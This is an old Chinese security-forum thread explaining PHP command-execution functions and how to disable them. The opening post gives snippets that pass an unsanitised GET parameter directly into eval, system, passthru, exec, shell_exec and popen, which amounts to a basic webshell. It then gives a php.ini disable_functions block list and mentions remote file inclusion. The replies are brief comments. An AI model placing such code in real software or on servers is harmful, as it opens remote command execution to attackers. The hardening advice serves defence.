# php中命令执行函数及防范

**URL:** <https://forum.90sec.com/t/topic/3451>\
**Category:** 技术文章\
**Created:** [2012 年4 月 14 日 19:30 UTC](https://forum.90sec.com/t/topic/3451 "2012-04-14T19:30:00Z")\
**Posts on this page:** 5\
**Page:** 1

<div class="post-metadata">

作者： ![whoami](https://forum.90sec.com/letter_avatar_proxy/v4/letter/w/a9a28c/32.png) [@whoami](https://forum.90sec.com/u/whoami)\
发布日期： [2012 年4 月 14 日 19:30 UTC](https://forum.90sec.com/t/topic/3451/1 "2012-04-14T19:30:00Z")

</div>

_本帖最后由 Green\_leaves 于 2012-6-15 18:58 编辑_

最近学习，不经常上网了，发个帖子充下数防删id，嘿嘿！[//t.php?w=whoami](https://t.php?w=whoami)

$t=$\_GET['w']; //接受get传参

1  
eval("echo $t;"); //php执行 echo 输出whoami

以下调用系统命令whoami输出当前用户假设是root //root   
2  
echo '\<pre\>';  
system($t);   
echo '\</pre\>';

3  
echo '\<pre\>';  
passthru($t);   
echo '\</pre\>';

4  
echo '\<pre\>';  
echo exec($t);  
echo '\</pre\>';

5  
echo '\<pre\>';  
echo shell\_exec($t);  
echo '\<pre\>';

6  
popen //经常被忽略 phpspy的马里有带  
//执行系统命令fopen

```php
<?php
$fp=popen($t,'r');
while(!feof($fp))
	$content.=fread($fp,1024);
echo '<pre>';
echo $content;
echo '</pre>';

```

防范：  
修改php.ini文件disable\_functions选项将危险函数禁掉，重启apache,例如godaddy虚拟主机的php.ini推荐设置  
disable\_functions = "highlight\_file,ini\_alter,ini\_restore,openlog,passthru,  
phpinfo, exec, system, dl, fsockopen, set\_time\_limit,  
popen, proc\_open, proc\_nice,shell\_exec,show\_source,symlink"另外还有远程包含echo file\_get\_contents('[http://site/ma.txt](http://site/ma.txt)');等，不过需要allow\_url\_fopen开启为on

欢迎补充

---

<div class="post-metadata">

作者： ![sincoder](https://forum.90sec.com/user_avatar/forum.90sec.com/sincoder/32/11422_2.png) [@sincoder](https://forum.90sec.com/u/sincoder)\
发布日期： [2012 年4 月 14 日 19:58 UTC](https://forum.90sec.com/t/topic/3451/2 "2012-04-14T19:58:37Z")

</div>

不错啊 楼主也没睡啊。。

---

<div class="post-metadata">

作者： ![whoami](https://forum.90sec.com/letter_avatar_proxy/v4/letter/w/a9a28c/32.png) [@whoami](https://forum.90sec.com/u/whoami)\
发布日期： [2012 年4 月 14 日 20:38 UTC](https://forum.90sec.com/t/topic/3451/3 "2012-04-14T20:38:57Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=22663&ptid=2086) _sincoder_ \*\*

```
。。。。

```

---

<div class="post-metadata">

作者： ![vfox](https://forum.90sec.com/user_avatar/forum.90sec.com/vfox/32/11387_2.png) [@vfox](https://forum.90sec.com/u/vfox)\
发布日期： [2012 年4 月 15 日 00:59 UTC](https://forum.90sec.com/t/topic/3451/4 "2012-04-15T00:59:47Z")

</div>

顶楼主，记得以前为了不让执行命令开启安全模式，结果有些正常程序(比如上传功能)要调用安全模式禁用的函数，直接就悲剧了。还是直接禁用某些函数好点。

---

<div class="post-metadata">

作者： ![user10](https://forum.90sec.com/user_avatar/forum.90sec.com/user10/32/11334_2.png) [@user10](https://forum.90sec.com/u/user10)\
发布日期： [2012 年4 月 15 日 02:28 UTC](https://forum.90sec.com/t/topic/3451/5 "2012-04-15T02:28:03Z")

</div>

支持楼主，补充了下php知识
